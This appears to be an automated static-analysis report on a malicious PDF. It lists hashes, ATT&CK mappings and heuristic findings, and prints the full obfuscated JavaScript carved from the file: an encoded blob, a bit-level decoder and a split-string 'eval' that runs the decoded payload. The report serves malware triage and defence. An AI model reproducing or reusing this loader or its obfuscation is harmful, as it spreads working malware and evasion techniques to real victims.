Malicious PDF — malware analysis report

Static analysis result for SHA-256 aa474ace856d5022…

MALICIOUS

PDF

2.6 KB First seen: 2026-05-11
MD5: ffdd264917a735cb61646b315ec1d0a8 SHA-1: be46dab8982bd5acdaf6a5fc812ab5f1127ca702 SHA-256: aa474ace856d50228eecaaad96bdb37f553d5c746b973a171a6082aaff8155d3
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF document was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript streams, one of which is named 'javascript_obj111712_001.js'. This JavaScript is likely responsible for downloading and executing a second-stage payload, a common technique for initial access. The presence of JavaScript actions and embedded JS streams points towards T1059.001 (PowerShell) or similar scripting execution, and the overall delivery mechanism aligns with T1204.002 (Malicious File).

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    while(flivcqa.length){iocrkte.push((yzfqxrd(flivcqa.charCodeAt(0))<<(4+2))+yzfqxrd(flivcqa.charCodeAt(1))-(500+12));flivcqa=flivcqa.slice(2,flivcqa.length)}xugljoa=jsynk3=flivcqa=0;bnhvx7='';function yzfqxrd(aqcnxn){if(aqcnxn>92)aqcnxn--;return aqcnxn-42}function knizi5(){if(flivcqa==0){jsynk3=yzfqxrd(jwcshqf.charCodeAt(xugljoa++));flivcqa=6;}return ((jsynk3>>--flivcqa)&0x01);}while(dsjzap--){i=0;while(iocrkte[i]<0){if(knizi5())i=-iocrkte[i];else i++;}bnhvx7+=String.fromCharCode(iocrkte[i]);}
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111711_000.js pdf-javascript-stream PDF /JS object 111711 at offset 0x197 2436 bytes
SHA-256: ea342d613fbe52e1a405371291c453ccb05ff3d34d7d40f7a81a56b63388b445
Preview script
First 1,000 lines of the extracted script
flivcqa="0T1E1Z1f2Z1d3P1`1a242R1^3a1[2L2U1R1W3K1U2b1S3Z3_1P2]1L1M272f1J3^1H3S1F3f3h1=1B3`1@2_1>3N3Y0`1:3M183L163d1.11122Y2e1/2T2W0g0j1*3/330h3+3-0c0d3G3T0a3=3E0^2[0[3]0Y2h0W3b0U2V2g0:0K0P2O0N2d0L3V3X0I2J0G2^0A0D2S0B3I3Q0=0>3W3c0;2X3R06072`3O042a2c";jwcshqf=".Nf,dgY9:MehXMcX7E.H9/Qh>a^b-gF0?=hIQ_a_7E.H9/UeECfVYI_b?0Sj`7VhZj1+O??7L91L`-feP[1M[BeF0?;j8-4SV;cg@Sh=BM[cWI1ND9/bMeHf0JjTPaHPcR`ZeF0?=aO_HQSV;cg@8Q+Kj8--JZc6TK[1TY7Y5RM^[0`9TQ`iSY=^[0ZacG8-4RF;eP6Sh:AR6+J6+K_c6TK[1T2VVh=eJY?***+_c6TK[1T5.E=5N@Sh<=eHB:WR_HK6WJ:P0[_3K@G,<CP:J+YZJ**:P5*.3TbaK58+D.d=*K/*/R:Uf+,H_-2:04,.4-aR:L^P:LJhT.`R9K9D,>3C<JK/+e_3f;=2<^/+,B?Q:PD`V2**e.+Z+,7,bB:14a.**,._:8K/Xbc:*+_3JJ,.i@E,Hf<:PDZ_2**e.ZZ+,H1I,**+,,.*:LWON2**e.i:+,Hf<:PDZ_2**e.Vc*K*F5R=]67,@]=2:-GD.**,..`c:K<J,.jZe.VC^2=@OG,6fGK50+>3gJ,.haNK/BZ_2**D.ZZ+,<Z:R:1BD.**,._Q]K00h_2+V,.**,.Z67,<Z:R:1C_2**.2*F<.*83,D=d:M-He.+aE,**+,I5-:QX_N2?f-:J*+R=-*.2*F<.@*:R:6cN3S9O,67fR:1CV2**.22@0K6352:*+_3gJ,.haNK6`KR:*+_3KJ,.g8i.**,..2*K/E52:*+_3gJ,.haNK6`KR:*+_3CZ+,*cA:QNBD.WNP:J0fB:**2:=AK,/4*2=j-R<[Q6K7D?_2^Wa.VB/:Q]*2=bD<.?M-:J*+R=-*.35+,K*GKR:**2=<I4.BEb:J0Z2:**2=*Z_35+,K*GQ:J**:J+[2:*cN3S9O,67fR:1CV2**.3gV7,Hf<:K8BD.**7,BB*K*-L:LZ,/,+Q.K73gR;KYG,*f7K***K+,Z_3K3C,**8K35*.3JV@K63PZP7C4.CE9K***K***K***K***K***K***K***K***K8[;>3LLO:Q5GN3J/+,/4d_2SbI,4B*:Q8c>2SQ4K87_R=Q/0K,S/0K*+=R=V>?,B+<R=K/0K/8e_3]X?,GK;R:T[?R=,J,.fHO,/HU2=UGN2__*:JMI4..?gR;J@,.4ZPZKS,@K9N2T.Vc>R;U@+,*/P:J**:M@+D.*^PR:**2:LbG,IJ@K*6dT.**,.4-aR=f/I,8B^R;U*W,*C^>2**.2_We_2+Q,K***K*V;D.F`i:J*+R:M:+,+BL_2dUgK**-:P**:K/L7:Qc/R:-8DK***K6_M>2V`C_3Q.@K9Z5:J0F`,**+,6fd:L[A]K+6[_2=K@K,OC4.^:?,D_T_3Pf4.@G4_2/W,.6?i:J*+R<^J,.OZXK,5G_3R6G,+B-:MKIN2**D.i:+,.@C_3i+D.*^PR:**2=@P@K*+Z:J**:J**:J**:J**:J**:J**:J**:Q]*2;^Ad,**0K6c*K7j,R::Vi..2:R=7Z>2-L7:QJ^B;STaZJ04?,DWU>3P6W,4CKR;:O5:KW?V2SLO:J*SN3KV].>S=2:RUK:Q6fB=QF4.[A4K/GZR=PG4.>fVK,J*2=Xd>2>+@:KWd>2?jC,*1C,/0e_2?EQ:KWfc=Y4,.*,JK,OGg2>+<R:ZU.K8gZR=W4?,GBaZQ5F4.dKK:K:0a.4-YK8OB>3C?OR<:**hF8Q+O>82h;dO`7Vh9T5.E=5N@YSWQX]hj=G>BeF0?:cM`=E9=eL559>bG-=^5TECe1e,hWhZeF0?:cM`7L91L`9T<I=^,/W0M_323+,<,:-`ZeF0?=BM[cW=eK1`fG1[FDa2gH59eSWQX1=J]T1.HSLe=O^>iRD[O7b:ATJ**,d=F>;CCceF0?:ObT0ML9>[G3]h9T*f=/_Q5_jeBXNdF[aP5S8ARI1eX1cc6TTTgagXL99.E7jBXNdGYO9TE.H9/T1e5.E=5N@8Q+O>I^J]T1.HSFGUZSObeQ`39SdK,aM;e.+J6K*B-+ecG8-4SiY^eED0UMWH/6XjA_a^bCHjSj_S>V7F9]cfAK=5Y`-feO[aY,PAIMSj8-4RYIQ[eUdLg_[0Pj/`bWSh=H`dSL7A^/dSWBAE[H.9SPg^LA0QcgM=I@d1Kdj?H1UWX?[aY,PAIMjF8J";dsjzap=2695;iocrkte=new Array();
javascript_obj111712_001.js pdf-javascript-stream PDF /JS object 111712 at offset 0x874 497 bytes
SHA-256: 9218acfb5ccf9ad38f2676baf0d7fa3cd835b706cf9d5fcbff27ca971fed22c6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
while(flivcqa.length){iocrkte.push((yzfqxrd(flivcqa.charCodeAt(0))<<(4+2))+yzfqxrd(flivcqa.charCodeAt(1))-(500+12));flivcqa=flivcqa.slice(2,flivcqa.length)}xugljoa=jsynk3=flivcqa=0;bnhvx7='';function yzfqxrd(aqcnxn){if(aqcnxn>92)aqcnxn--;return aqcnxn-42}function knizi5(){if(flivcqa==0){jsynk3=yzfqxrd(jwcshqf.charCodeAt(xugljoa++));flivcqa=6;}return ((jsynk3>>--flivcqa)&0x01);}while(dsjzap--){i=0;while(iocrkte[i]<0){if(knizi5())i=-iocrkte[i];else i++;}bnhvx7+=String.fromCharCode(iocrkte[i]);}
javascript_obj111713_002.js pdf-javascript-stream PDF /JS object 111713 at offset 0x9D4 42 bytes
SHA-256: 62163ae4a86b8136465d75b15a88399ba92a0e6dee6648f45e39cb19542a02bf
Preview script
First 1,000 lines of the extracted script
jmcsd='e'+''+'v'+''+'a'+'l';jmcsd(bnhvx7);

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